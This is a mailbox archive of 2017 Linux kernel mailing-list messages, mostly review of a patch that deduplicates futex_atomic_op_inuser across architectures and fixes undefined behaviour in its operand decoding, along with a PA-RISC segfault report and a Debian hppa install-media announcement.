Xref: news.gmane.org gmane.linux.kernel.arc:2572 gmane.linux.ports.mips.general:59935 gmane.linux.ports.ia64:28023 gmane.linux.ports.sh.devel:55575 gmane.linux.ports.sparc:25696 gmane.linux.kernel.cross-arch:37604 gmane.linux.ports.hexagon:1356 gmane.linux.ports.arm.kernel:586573 gmane.linux.ports.parisc:27517 gmane.linux.kernel:2507333 gmane.linux.ports.alpha:4259 gmane.linux.ports.ppc64.devel:143766
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/2572>

On Wed, Jun 21, 2017 at 01:53:18PM +0200, Jiri Slaby wrote:
> There is code duplicated over all architecture's headers for
> futex_atomic_op_inuser. Namely op decoding, access_ok check for uaddr,
> and comparison of the result.
> 
> Remove this duplication and leave up to the arches only the needed
> assembly which is now in arch_futex_atomic_op_inuser.
> 
> This effectively distributes the Will Deacon's arm64 fix for undefined
> behaviour reported by UBSAN to all architectures. The fix was done in
> commit 5f16a046f8e1 (arm64: futex: Fix undefined behaviour with
> FUTEX_OP_OPARG_SHIFT usage).  Look there for an example dump.
> 
> Note that s390 removed access_ok check in d12a29703 ("s390/uaccess:
> remove pointless access_ok() checks") as access_ok there returns true.
> We introduce it back to the helper for the sake of simplicity (it gets
> optimized away anyway).
> 

This required a minor manual merge for ARM on the tip of Linus' tree today. The
reduced duplication is a welcome improvement.

Reviewed-by: Darren Hart (VMware) <dvhart@infradead.org>

-- 
Darren Hart
VMware Open Source Technology Center

From - Thu Nov 08 21:39:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 4.12-rc5+: segfault while compiling, on rp3410
Date: Thu, 22 Jun 2017 10:32:37 +0300 (EEST)
Lines: 25
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1706221030590.13275@math.ut.ee>
References: <alpine.LRH.2.20.1706201714280.12869@math.ut.ee> <d2f4c409-16db-7dbb-533f-c7e56515bceb@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1498116766 5458 195.159.176.226 (22 Jun 2017 07:32:46 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 22 Jun 2017 07:32:46 +0000 (UTC)
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 22 09:32:39 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dNwbV-0000j4-KX
	for glpp-linux-parisc@m.gmane.org; Thu, 22 Jun 2017 09:32:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751143AbdFVHcm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 22 Jun 2017 03:32:42 -0400
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:58609 "EHLO smtp2.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751116AbdFVHcm (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 22 Jun 2017 03:32:42 -0400
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
        by smtp2.it.da.ut.ee (Postfix) with ESMTP id 4BC4B73D808;
        Thu, 22 Jun 2017 10:32:39 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id 3C4942218D1; Thu, 22 Jun 2017 10:32:37 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
        by math.ut.ee (Postfix) with ESMTP id 6E8B3220777;
        Thu, 22 Jun 2017 10:32:37 +0300 (EEST)
In-Reply-To: <d2f4c409-16db-7dbb-533f-c7e56515bceb@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27518
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27518>

> > I am using gentoo on my hppa machines and just tried
> > 4.12.0-rc5-00187-gab2789b at the end of last week. This time there
> > was new gcc release so a lot of work. rp3440 and A500 had no problems,
> > rp3410 errored out with SIGSEGV, twice.
> Helge and I have had a long discussion about these SEGVs.  They are
> essentially random.
> The are very rare on UP machines.  I don't think we have seen one yet on the
> panama buildd
> machine which is also a rp3410.  They are much more common on phantom which is
> four way
> c8000 at 1 GHz.

My RP3410 is UP only, with UP kernel. When it happened, it was frequent 
- I got multiple segfaults in different compilations after that. Reboot 
into the same kernel cured it and after reboot I could build the same 
gcc successfully, and have been happily building gunch of gentoo 
updates since (more than a day).

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 1/1] futex: remove duplicated code and fix UB
Date: Fri, 23 Jun 2017 09:51:23 +0200 (CEST)
Lines: 59
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.20.1706230017520.2221@nanos>
References: <20170621115318.2781-1-jslaby@suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1498204384 30169 195.159.176.226 (23 Jun 2017 07:53:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 23 Jun 2017 07:53:04 +0000 (UTC)
User-Agent: Alpine 2.20 (DEB 67 2015-01-07)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org, peterz@infradead.org,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Will Deacon <will.deacon@arm.com>, Max Filippov <jcmvbkbc@gmail.com>,
 Paul Mackerras <paulus@samba.org>, "H. Peter Anvin" <hpa@zytor.com>,
 sparclinux@vger.kernel.org, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-arch@vger.kernel.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-hexagon@vger.kernel.org,
 Helge Deller <deller@gmx.de>, x86@kernel.org,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, mingo@redhat.com,
 Catalin Marinas <catalin.marinas@arm.com>, dvhart@infradead.org,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
 Fenghua Yu <fenghua.yu@intel.com>, Arnd Bergmann <arnd@arndb.de>,
 linux-xtensa@linux-xtensa.org,
 Stefan Kristiansson <
To: Jiri Slaby <jslaby@suse.cz>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Jun 23 09:52:56 2017
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([65.50.211.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1dOJOh-0007Oe-DU
	for gla-linux-snps-arc@m.gmane.org; Fri, 23 Jun 2017 09:52:55 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:MIME-Version:References:Message-ID:
	In-Reply-To:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=/QDq8YolhFGn7tbY1zhH1CEvhUgq/HfpFUel5pHLUI8=; b=gqEgmOYR3bTEg/
	m4BjMrvZgvAVW7zNpDi1QY5lQwUEhuaIe1oS8XzyKYLndcg+cLjGP6edmbgZaZZ9x4AopWmzyODuf
	7R77/Jb3hY8OkqQrXfbg16wWV1Go44TvpZaPMI9hZV/jn3udQ/2IntcO6lSnj6r2oSmRBPrLi2fu/
	qYQ+q1t8NeXK4eSfTgRbjM74ML3Oc9aVE1/y6znz3XC/2iKZfIhKtFumoSaefM92vjA6rJ6QpTv1W
	Vsoe0PcE5zypdtux02TFxj6u04cKhaoGSTh8UGPva/TURk5Txq+UT7RBtQre3U4WyZQUsKr9KdYfv
	H61leGNrfQpo/MJp3PXA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.87 #1 (Red Hat Linux))
	id 1dOJOl-00063G-SG; Fri, 23 Jun 2017 07:52:59 +0000
Original-Received: from galois.linutronix.de ([2a01:7a0:2:106d:700::1])
 by bombadil.infradead.org with esmtps (Exim 4.87 #1 (Red Hat Linux))
 id 1dOJOi-00062R-OG; Fri, 23 Jun 2017 07:52:58 +0000
Original-Received: from localhost ([127.0.0.1])
 by Galois.linutronix.de with esmtps (TLS1.2:DHE_RSA_AES_256_CBC_SHA256:256)
 (Exim 4.80) (envelope-from <tglx@linutronix.de>)
 id 1dOJMM-000864-Ll; Fri, 23 Jun 2017 09:50:30 +0200
In-Reply-To: <20170621115318.2781-1-jslaby@suse.cz>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20170623_005256_973472_D426A78D 
X-CRM114-Status: GOOD (  13.42  )
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:2577 gmane.linux.ports.mips.general:59958 gmane.linux.ports.ia64:28026 gmane.linux.ports.sh.devel:55582 gmane.linux.ports.sparc:25703 gmane.linux.kernel.cross-arch:37662 gmane.linux.ports.hexagon:1358 gmane.linux.ports.arm.kernel:586870 gmane.linux.ports.parisc:27519 gmane.linux.kernel:2508460 gmane.linux.ports.alpha:4281 gmane.linux.ports.ppc64.devel:143896
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/2577>

On Wed, 21 Jun 2017, Jiri Slaby wrote:
> diff --git a/arch/arm64/include/asm/futex.h b/arch/arm64/include/asm/futex.h
> index f32b42e8725d..5bb2fd4674e7 100644
> --- a/arch/arm64/include/asm/futex.h
> +++ b/arch/arm64/include/asm/futex.h
> @@ -48,20 +48,10 @@ do {									\
>  } while (0)
>  
>  static inline int
> -futex_atomic_op_inuser(unsigned int encoded_op, u32 __user *uaddr)

That unsigned int seems to be a change from the arm64 tree in next. It's
not upstream and it'll cause a (easy to resolve) conflict.

> +static int futex_atomic_op_inuser(unsigned int encoded_op, u32 __user *uaddr)
> +{
> +	int op = (encoded_op >> 28) & 7;
> +	int cmp = (encoded_op >> 24) & 15;
> +	int oparg = (int)(encoded_op << 8) >> 20;
> +	int cmparg = (int)(encoded_op << 20) >> 20;

So this is really bad. We have implicit and explicit type casting to
int. And while we are at it can we please stop proliferating the existing
mess.

'op' and 'cmp' definitly can be unsigned int. There is no reason to cast
them to int.

oparg, cmparg and oldval are more interesting.

The logic here is "documented" in uapi/linux/futex.h

/* FUTEX_WAKE_OP will perform atomically
   int oldval = *(int *)UADDR2;
   *(int *)UADDR2 = oldval OP OPARG;
   if (oldval CMP CMPARG)
       wake UADDR2;  */

Now the FUTEX_OP macro which is supposed to compose the encoded_up does:

#define FUTEX_OP(op, oparg, cmp, cmparg) \
  (((op & 0xf) << 28) | ((cmp & 0xf) << 24)             \
   | ((oparg & 0xfff) << 12) | (cmparg & 0xfff))

Of course this all is not typed, undocumented and completely ill
defined.

> +	int oparg = (int)(encoded_op << 8) >> 20;
> +	int cmparg = (int)(encoded_op << 20) >> 20;

So in fact we sign expand the 12 bits of oparg and cmparg. Really
intuitive.

Yes, we probably can't change that anymore, but at least we should make it
very explicit and add a comment to that effect.

Thanks,

	tglx

From - Thu Nov 08 21:39:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Debian hppa install media
Date: Sun, 25 Jun 2017 21:21:35 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <acdce0b2-37ef-4b45-1ab2-e502236121fe@gmx.de>
References: <C94ECA47-4967-4C8B-B7A5-33C74FF59851@purple-cat.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1498418498 21367 195.159.176.226 (25 Jun 2017 19:21:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 25 Jun 2017 19:21:38 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.8.0
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 25 21:21:34 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dPD6E-0005DU-4P
	for glpp-linux-parisc@m.gmane.org; Sun, 25 Jun 2017 21:21:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751341AbdFYTVi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 25 Jun 2017 15:21:38 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:55247 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751136AbdFYTVi (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 25 Jun 2017 15:21:38 -0400
Original-Received: from [192.168.20.60] ([193.159.16.44]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LgvEY-1e4e2j2iP8-00oCUL for
 <linux-parisc@vger.kernel.org>; Sun, 25 Jun 2017 21:21:35 +0200
X-Forwarded-Message-Id: <C94ECA47-4967-4C8B-B7A5-33C74FF59851@purple-cat.net>
In-Reply-To: <C94ECA47-4967-4C8B-B7A5-33C74FF59851@purple-cat.net>
X-Provags-ID: V03:K0:1u90qKF7SlM/LQX5CpeAw9oQ3qkkkZFQZmw2zByuOgf4aRWM8Hf
 uIJs1RQdCkk0i9QscUxtSFObWzC+d09Ie2rpWB4JUW23+qE/YbqZQJht5JXSkkGAYYw61sr
 uz3z9JIyGJoYYq9wsUCiMTixuyDPuysT7lZphCW88TyDVoyCVsuuyG0FUdN4A5uelbm9JTW
 odqwyFUZr2YCHCEJztQFw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:MggRUV6V1zo=:j7zWOz5blQ7S9HTy26gSxy
 14+OCJuZ5chGaLaG5WBWVsEO4RuJ1SKnDQPxLtLu5NQ0N4LZ9Xu3b5Rh+UEuiFg3vjYCeAZU9
 w6wgAQGO/0s5RUuxSobXBkKqjlK4HKgcfFLEUiL1evRoNjcCbtSi0RXBfviLZlUbyO8BDE0Js
 lR+XB2V4l/37dgNfMX0Gu4v8aKmlj5brBCsmlFlaQiTB9WdCS5qsrBPrTVqUQjuBacH/XerZI
 JT5Ym6tWDq6HGV9Wam38EO4Im8wR1+fVonlncu7S30iej7ZyfZyUIoyc3T8xMar8nG2vjp1RW
 L3R1qB9Uq+e005zGSiPokF1uwoedyIAo7Xa3cVPqVzlNxGGHlXArKm09Zpt4sehg7L6CTJeSH
 gXrmUiTqbd8mBWwNNOU5dZzxZ0lhuBpqg9cjzne1ZJH2sEdrdNsWnz7EnS4VI1maHnQGeAyEz
 nqtTcy096o+HxapnQSHzzN+SHp116ayF7Lsoa4F5cqKFYDHPcLfIcUHtHejiV/wW6iv5f5wP4
 hBtd5w5M4XsNvcHJ6HTchuxyOjfDOWgbM184SjnyrT63voNwhT72Vv91L/rm10KMdqG+BwzVE
 7Fh3BCORMvIZ4TZi3P76eyBQPDwURET8Aq3Z9goiI2qEs3zXW59jdEUEk8izbSTjYvx1jSu7b
 rWKZXq0rLwYbsbDeYnmYlqpGg2Qe62tg4X7o6AaQgnrJQC1X5WMp7v10ac4KJyI3Yc5nVfb2Q
 TVKStOJXpaP9Ok4/xcypBWjTGRtEuGhB86W9Utjj308QK8Mrqp27AI363gU4BN8NKq6d69ua 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27520
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27520>

FYI,
Mike built a new installation media for Debian.
Helge

-------- Forwarded Message --------
Subject: 	Debian hppa install media
Date: 	Sun, 25 Jun 2017 14:37:59 +1200
From: 	Mike Hosken <mike@purple-cat.net>
To: 	debian-hppa@lists.debian.org

Hi team,

I have made new install media for Debian hppa sid the images can be found here. 

http://prometheus.parisc-linux.org/debian-cd/debian-9.0/debian-9.0r2/

Please read the readme file for a description of the different images. 

 http://prometheus.parisc-linux.org/debian-cd/debian-9.0/debian-9.0r2/readme.txt

I have tested the images over the last two weeks and have sorted out the bugs I have found, any useful feedback would be appreciated. 

Mike Hosken
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jiri Slaby <jslaby@suse.cz>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 1/1] futex: remove duplicated code and fix UB
Date: Mon, 26 Jun 2017 14:02:31 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <80af8d81-4522-de2d-8289-1ab46565505a@suse.cz>
References: <20170621115318.2781-1-jslaby@suse.cz>
 <alpine.DEB.2.20.1706230017520.2221@nanos>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-2
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1498478564 14250 195.159.176.226 (26 Jun 2017 12:02:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 26 Jun 2017 12:02:44 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.0
Cc: mingo@redhat.com, peterz@infradead.org, dvhart@infradead.org,
        linux-kernel@vger.kernel.org, Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Marti
To: Thomas Gleixner <tglx@linutronix.de>,
        Will Deacon <will.deacon@arm.com>
Original-X-From: linux-alpha-owner@vger.kernel.org Mon Jun 26 14:02:34 2017
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1dPSiw-0005xp-F4
	for lnx-linux-alpha@m.gmane.org; Mon, 26 Jun 2017 14:02:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751425AbdFZMCj (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
        Mon, 26 Jun 2017 08:02:39 -0400
Original-Received: from mail-wm0-f68.google.com ([74.125.82.68]:34066 "EHLO
        mail-wm0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751415AbdFZMCh (ORCPT
        <rfc822;linux-alpha@vger.kernel.org>);
        Mon, 26 Jun 2017 08:02:37 -0400
Original-Received: by mail-wm0-f68.google.com with SMTP id f134so1071764wme.1;
        Mon, 26 Jun 2017 05:02:35 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:subject:to:cc:references:from:message-id:date
         :user-agent:mime-version:in-reply-to:content-language
         :content-transfer-encoding;
        bh=RUgQ/uRFrVSpCh0L9mi5NrAXwwqyJ2a1SUHxpWtEidg=;
        b=BMUTm0AtZvFVCDpTxCkMmjXws9XtEN1apz5SXjdhO+flv0mFaBR/4bs8kmiPNSUyCD
         d7gMlnlVh+y0Kf+7bLs3X67cQ2lQOpWP5i6dqrfhh5RDEEQVFWlNinew9Bl3wzvFVkvv
         kJd4wP1lHeJT2R9sBKML0IUJkXDxKBAr5/d9HHV3X3h43CzBBX8ihWMeA3JUArCCMMZU
         fEnSAzeEFJaYaFJtOmWHtNqfUTPZX0Wmatx3tcPTY8PtRcck7oe1Cd3pRBnTghEvRitM
         J7NC5Pr7Y7bapyAt5yRAYAbD9dOOtJyi4IK3Iq3q7y3x2hJmEmU4Bg/rN7EKk1JLNFE3
         gunA==
X-Gm-Message-State: AKS2vOxxU14Vpffl98cdWPUCq4T9LWfYhU3Z8S8xepay5yH9pvEpu1Bu
        m7xvOn5EmnpNQcGa5J0=
X-Received: by 10.28.234.152 with SMTP id g24mr12793810wmi.43.1498478554426;
        Mon, 26 Jun 2017 05:02:34 -0700 (PDT)
Original-Received: from ?IPv6:2a01:4240:2e27:ad85:aaaa::c92? ([2a01:4240:2e27:ad85:aaaa::c92])
        by smtp.gmail.com with ESMTPSA id 92sm22560584wrb.55.2017.06.26.05.02.31
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 26 Jun 2017 05:02:33 -0700 (PDT)
In-Reply-To: <alpine.DEB.2.20.1706230017520.2221@nanos>
Content-Language: en-GB
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:4318 gmane.linux.kernel:2509837 gmane.linux.kernel.arc:2617 gmane.linux.ports.arm.kernel:587320 gmane.linux.ports.hexagon:1363 gmane.linux.ports.ia64:28048 gmane.linux.ports.mips.general:60009 gmane.linux.ports.parisc:27521 gmane.linux.ports.ppc64.devel:143985 gmane.linux.ports.sh.devel:55623 gmane.linux.ports.sparc:25766 gmane.linux.kernel.cross-arch:37713
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/4318>

On 06/23/2017, 09:51 AM, Thomas Gleixner wrote:
> On Wed, 21 Jun 2017, Jiri Slaby wrote:
>> diff --git a/arch/arm64/include/asm/futex.h b/arch/arm64/include/asm/futex.h
>> index f32b42e8725d..5bb2fd4674e7 100644
>> --- a/arch/arm64/include/asm/futex.h
>> +++ b/arch/arm64/include/asm/futex.h
>> @@ -48,20 +48,10 @@ do {									\
>>  } while (0)
>>  
>>  static inline int
>> -futex_atomic_op_inuser(unsigned int encoded_op, u32 __user *uaddr)
> 
> That unsigned int seems to be a change from the arm64 tree in next. It's
> not upstream and it'll cause a (easy to resolve) conflict.

Ugh, I thought the arm64 is in upstream already. Note that this patch
just takes what is in this arm64 fix and makes it effective for all
architectures. So I will wait with v2 until it merges upstream.

So, Will, will you incorporate Thomas' comments into your arm64 fix?

...

> Yes, we probably can't change that anymore, but at least we should make it
> very explicit and add a comment to that effect.

Something like this or do you want a comment yet?
        unsigned int op =         (encoded_op & 0x70000000) >> 28;
        unsigned int cmp =        (encoded_op & 0x0f000000) >> 24;
        int oparg = sign_extend32((encoded_op & 0x00fff000) >> 12, 12);
        int cmparg = sign_extend32(encoded_op & 0x00000fff, 12);

thanks,
-- 
js
suse labs
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Will Deacon <will.deacon@arm.com>
Newsgroups: gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 1/1] futex: remove duplicated code and fix UB
Date: Mon, 26 Jun 2017 13:08:14 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20170626120814.GF1691@arm.com>
References: <20170621115318.2781-1-jslaby@suse.cz>
 <alpine.DEB.2.20.1706230017520.2221@nanos>
 <80af8d81-4522-de2d-8289-1ab46565505a@suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1498478905 11202 195.159.176.226 (26 Jun 2017 12:08:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 26 Jun 2017 12:08:25 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: Thomas Gleixner <tglx@linutronix.de>, mingo@redhat.com,
        peterz@infradead.org, dvhart@infradead.org,
        linux-kernel@vger.kernel.org, Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>,
        Vineet Gupta <vgupta@synopsys.com>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Richard Kuo <rkuo@codeaurora.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Michal Simek <monstr@monstr.eu>,
        Ralf Baechle <ralf@linux-mips.org>,
        Jonas Bonn <jonas@southpole.se>,
        Stefan Kristiansson <stefan.kristiansson@saunalahti.fi>,
        Stafford Horne <shorne@gmail.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Pa
To: Jiri Slaby <jslaby@suse.cz>
Original-X-From: linux-hexagon-owner@vger.kernel.org Mon Jun 26 14:08:15 2017
Return-path: <linux-hexagon-owner@vger.kernel.org>
Envelope-to: glphk-linux-hexagon@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
